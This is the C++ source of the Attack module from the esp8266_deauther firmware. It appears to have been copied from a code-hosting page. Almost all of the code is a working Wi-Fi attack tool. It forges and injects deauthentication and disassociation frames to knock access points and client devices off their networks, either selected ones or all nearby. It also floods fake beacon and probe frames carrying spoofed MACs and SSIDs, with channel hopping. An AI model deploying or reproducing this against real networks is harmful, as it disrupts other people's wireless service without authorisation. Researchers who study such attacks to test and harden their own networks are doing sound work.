473 lines
14 KiB
C++
473 lines
14 KiB
C++
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
|
|
|
#include "Attack.h"
|
|
|
|
#include "settings.h"
|
|
|
|
Attack::Attack() {
|
|
getRandomMac(mac);
|
|
|
|
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
|
|
// 1s beacon interval
|
|
beaconPacket[32] = 0xe8;
|
|
beaconPacket[33] = 0x03;
|
|
} else {
|
|
// 100ms beacon interval
|
|
beaconPacket[32] = 0x64;
|
|
beaconPacket[33] = 0x00;
|
|
}
|
|
|
|
deauth.time = currentTime;
|
|
beacon.time = currentTime;
|
|
probe.time = currentTime;
|
|
}
|
|
|
|
void Attack::start() {
|
|
stop();
|
|
prntln(A_START);
|
|
attackTime = currentTime;
|
|
attackStartTime = currentTime;
|
|
accesspoints.sortAfterChannel();
|
|
stations.sortAfterChannel();
|
|
running = true;
|
|
}
|
|
|
|
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
|
Attack::beacon.active = beacon;
|
|
Attack::deauth.active = deauth || deauthAll;
|
|
Attack::deauthAll = deauthAll;
|
|
Attack::probe.active = probe;
|
|
|
|
Attack::output = output;
|
|
Attack::timeout = timeout;
|
|
|
|
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
|
// scan.countSelected() > 0)){
|
|
if (beacon || probe || deauthAll || deauth) {
|
|
start();
|
|
} else {
|
|
prntln(A_NO_MODE_ERROR);
|
|
accesspoints.sort();
|
|
stations.sort();
|
|
stop();
|
|
}
|
|
}
|
|
|
|
void Attack::stop() {
|
|
if (running) {
|
|
running = false;
|
|
deauthPkts = 0;
|
|
beaconPkts = 0;
|
|
probePkts = 0;
|
|
deauth.packetCounter = 0;
|
|
beacon.packetCounter = 0;
|
|
probe.packetCounter = 0;
|
|
deauth.maxPkts = 0;
|
|
beacon.maxPkts = 0;
|
|
probe.maxPkts = 0;
|
|
packetRate = 0;
|
|
deauth.tc = 0;
|
|
beacon.tc = 0;
|
|
probe.tc = 0;
|
|
deauth.active = false;
|
|
beacon.active = false;
|
|
probe.active = false;
|
|
prntln(A_STOP);
|
|
}
|
|
}
|
|
|
|
bool Attack::isRunning() {
|
|
return running;
|
|
}
|
|
|
|
void Attack::updateCounter() {
|
|
// stop when timeout is active and time is up
|
|
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
|
prntln(A_TIMEOUT);
|
|
stop();
|
|
return;
|
|
}
|
|
|
|
// deauth packets per second
|
|
if (deauth.active) {
|
|
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
|
(accesspoints.count() + stations.count() * 2 - names.selected());
|
|
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
|
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
|
} else {
|
|
deauth.maxPkts = 0;
|
|
}
|
|
|
|
// beacon packets per second
|
|
if (beacon.active) {
|
|
beacon.maxPkts = ssids.count();
|
|
|
|
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
|
|
} else {
|
|
beacon.maxPkts = 0;
|
|
}
|
|
|
|
// probe packets per second
|
|
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
|
|
else probe.maxPkts = 0;
|
|
|
|
// random transmission power
|
|
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
|
|
else setOutputPower(20.5f);
|
|
|
|
// reset counters
|
|
deauthPkts = deauth.packetCounter;
|
|
beaconPkts = beacon.packetCounter;
|
|
probePkts = probe.packetCounter;
|
|
packetRate = tmpPacketRate;
|
|
deauth.packetCounter = 0;
|
|
beacon.packetCounter = 0;
|
|
probe.packetCounter = 0;
|
|
deauth.tc = 0;
|
|
beacon.tc = 0;
|
|
probe.tc = 0;
|
|
tmpPacketRate = 0;
|
|
}
|
|
|
|
void Attack::status() {
|
|
char s[120];
|
|
|
|
sprintf(s, str(
|
|
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
|
probe.maxPkts);
|
|
prnt(String(s));
|
|
}
|
|
|
|
String Attack::getStatusJSON() {
|
|
String json = String(OPEN_BRACKET); // [
|
|
|
|
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
|
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
|
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
|
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
json += String(packetRate); // 0
|
|
json += CLOSE_BRACKET; // ]
|
|
|
|
return json;
|
|
}
|
|
|
|
void Attack::update() {
|
|
if (!running || scan.isScanning()) return;
|
|
|
|
apCount = accesspoints.count();
|
|
stCount = stations.count();
|
|
nCount = names.count();
|
|
|
|
// run/update all attacks
|
|
deauthUpdate();
|
|
deauthAllUpdate();
|
|
beaconUpdate();
|
|
probeUpdate();
|
|
|
|
// each second
|
|
if (currentTime - attackTime > 1000) {
|
|
attackTime = currentTime; // update time
|
|
updateCounter();
|
|
|
|
if (output) status(); // status update
|
|
getRandomMac(mac); // generate new random mac
|
|
}
|
|
}
|
|
|
|
void Attack::deauthUpdate() {
|
|
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
|
// APs
|
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
|
if (accesspoints.getSelected(deauth.tc)) {
|
|
deauth.tc += deauthAP(deauth.tc);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// Stations
|
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
|
if (stations.getSelected(deauth.tc - apCount)) {
|
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// Names
|
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
|
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
|
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// reset counter
|
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
void Attack::deauthAllUpdate() {
|
|
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
|
// APs
|
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
|
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
|
|
|
if (tmpID < 0) {
|
|
deauth.tc += deauthAP(deauth.tc);
|
|
} else if (!names.getSelected(tmpID)) {
|
|
deauth.tc += deauthAP(deauth.tc);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// Stations
|
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
|
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
|
|
|
if (tmpID < 0) {
|
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
|
} else if (!names.getSelected(tmpID)) {
|
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// Names
|
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
|
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
|
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
|
} else deauth.tc++;
|
|
}
|
|
|
|
// reset counter
|
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
void Attack::probeUpdate() {
|
|
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
|
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
|
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
|
|
probe.tc += sendProbe(probe.tc);
|
|
|
|
if (probe.tc >= ssids.count()) probe.tc = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
void Attack::beaconUpdate() {
|
|
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
|
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
|
beacon.tc += sendBeacon(beacon.tc);
|
|
|
|
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
bool Attack::deauthStation(int num) {
|
|
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
|
|
}
|
|
|
|
bool Attack::deauthAP(int num) {
|
|
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
|
|
}
|
|
|
|
bool Attack::deauthName(int num) {
|
|
if (names.isStation(num)) {
|
|
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
|
|
} else {
|
|
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
|
|
}
|
|
}
|
|
|
|
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
|
if (!stMac) return false; // exit when station mac is null
|
|
|
|
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
|
|
|
bool success = false;
|
|
|
|
// build deauth packet
|
|
packetSize = sizeof(deauthPacket);
|
|
|
|
uint8_t deauthpkt[packetSize];
|
|
|
|
memcpy(deauthpkt, deauthPacket, packetSize);
|
|
|
|
memcpy(&deauthpkt[4], stMac, 6);
|
|
memcpy(&deauthpkt[10], apMac, 6);
|
|
memcpy(&deauthpkt[16], apMac, 6);
|
|
deauthpkt[24] = reason;
|
|
|
|
// send deauth frame
|
|
deauthpkt[0] = 0xc0;
|
|
|
|
if (sendPacket(deauthpkt, packetSize, ch, true)) {
|
|
success = true;
|
|
deauth.packetCounter++;
|
|
}
|
|
|
|
// send disassociate frame
|
|
uint8_t disassocpkt[packetSize];
|
|
|
|
memcpy(disassocpkt, deauthpkt, packetSize);
|
|
|
|
disassocpkt[0] = 0xa0;
|
|
|
|
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
|
success = true;
|
|
deauth.packetCounter++;
|
|
}
|
|
|
|
// send another packet, this time from the station to the accesspoint
|
|
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
|
// build deauth packet
|
|
memcpy(&disassocpkt[4], apMac, 6);
|
|
memcpy(&disassocpkt[10], stMac, 6);
|
|
memcpy(&disassocpkt[16], stMac, 6);
|
|
|
|
// send deauth frame
|
|
disassocpkt[0] = 0xc0;
|
|
|
|
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
|
success = true;
|
|
deauth.packetCounter++;
|
|
}
|
|
|
|
// send disassociate frame
|
|
disassocpkt[0] = 0xa0;
|
|
|
|
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
|
success = true;
|
|
deauth.packetCounter++;
|
|
}
|
|
}
|
|
|
|
if (success) deauth.time = currentTime;
|
|
|
|
return success;
|
|
}
|
|
|
|
bool Attack::sendBeacon(uint8_t tc) {
|
|
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
|
mac[5] = tc;
|
|
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
|
}
|
|
|
|
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
|
packetSize = sizeof(beaconPacket);
|
|
|
|
if (wpa2) {
|
|
beaconPacket[34] = 0x31;
|
|
} else {
|
|
beaconPacket[34] = 0x21;
|
|
packetSize -= 26;
|
|
}
|
|
|
|
int ssidLen = strlen(ssid);
|
|
|
|
if (ssidLen > 32) ssidLen = 32;
|
|
|
|
memcpy(&beaconPacket[10], mac, 6);
|
|
memcpy(&beaconPacket[16], mac, 6);
|
|
memcpy(&beaconPacket[38], ssid, ssidLen);
|
|
|
|
beaconPacket[82] = ch;
|
|
|
|
// =====
|
|
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
|
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
|
|
|
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
|
tmpPacket[37] = ssidLen; // update SSID length byte
|
|
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
|
|
|
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
|
|
|
|
if (success) {
|
|
beacon.time = currentTime;
|
|
beacon.packetCounter++;
|
|
}
|
|
|
|
delete[] tmpPacket; // free memory of allocated buffer
|
|
|
|
return success;
|
|
// =====
|
|
}
|
|
|
|
bool Attack::sendProbe(uint8_t tc) {
|
|
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
|
mac[5] = tc;
|
|
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
|
}
|
|
|
|
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
|
packetSize = sizeof(probePacket);
|
|
int ssidLen = strlen(ssid);
|
|
|
|
if (ssidLen > 32) ssidLen = 32;
|
|
|
|
memcpy(&probePacket[10], mac, 6);
|
|
memcpy(&probePacket[26], ssid, ssidLen);
|
|
|
|
if (sendPacket(probePacket, packetSize, ch, false)) {
|
|
probe.time = currentTime;
|
|
probe.packetCounter++;
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
|
|
// Serial.println(bytesToStr(packet, packetSize));
|
|
|
|
// set channel
|
|
setWifiChannel(ch, force_ch);
|
|
|
|
// sent out packet
|
|
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
|
|
|
if (sent) ++tmpPacketRate;
|
|
|
|
return sent;
|
|
}
|
|
|
|
void Attack::enableOutput() {
|
|
output = true;
|
|
prntln(A_ENABLED_OUTPUT);
|
|
}
|
|
|
|
void Attack::disableOutput() {
|
|
output = false;
|
|
prntln(A_DISABLED_OUTPUT);
|
|
}
|
|
|
|
uint32_t Attack::getDeauthPkts() {
|
|
return deauthPkts;
|
|
}
|
|
|
|
uint32_t Attack::getBeaconPkts() {
|
|
return beaconPkts;
|
|
}
|
|
|
|
uint32_t Attack::getProbePkts() {
|
|
return probePkts;
|
|
}
|
|
|
|
uint32_t Attack::getDeauthMaxPkts() {
|
|
return deauth.maxPkts;
|
|
}
|
|
|
|
uint32_t Attack::getBeaconMaxPkts() {
|
|
return beacon.maxPkts;
|
|
}
|
|
|
|
uint32_t Attack::getProbeMaxPkts() {
|
|
return probe.maxPkts;
|
|
}
|
|
|
|
uint32_t Attack::getPacketRate() {
|
|
return packetRate;
|
|
} |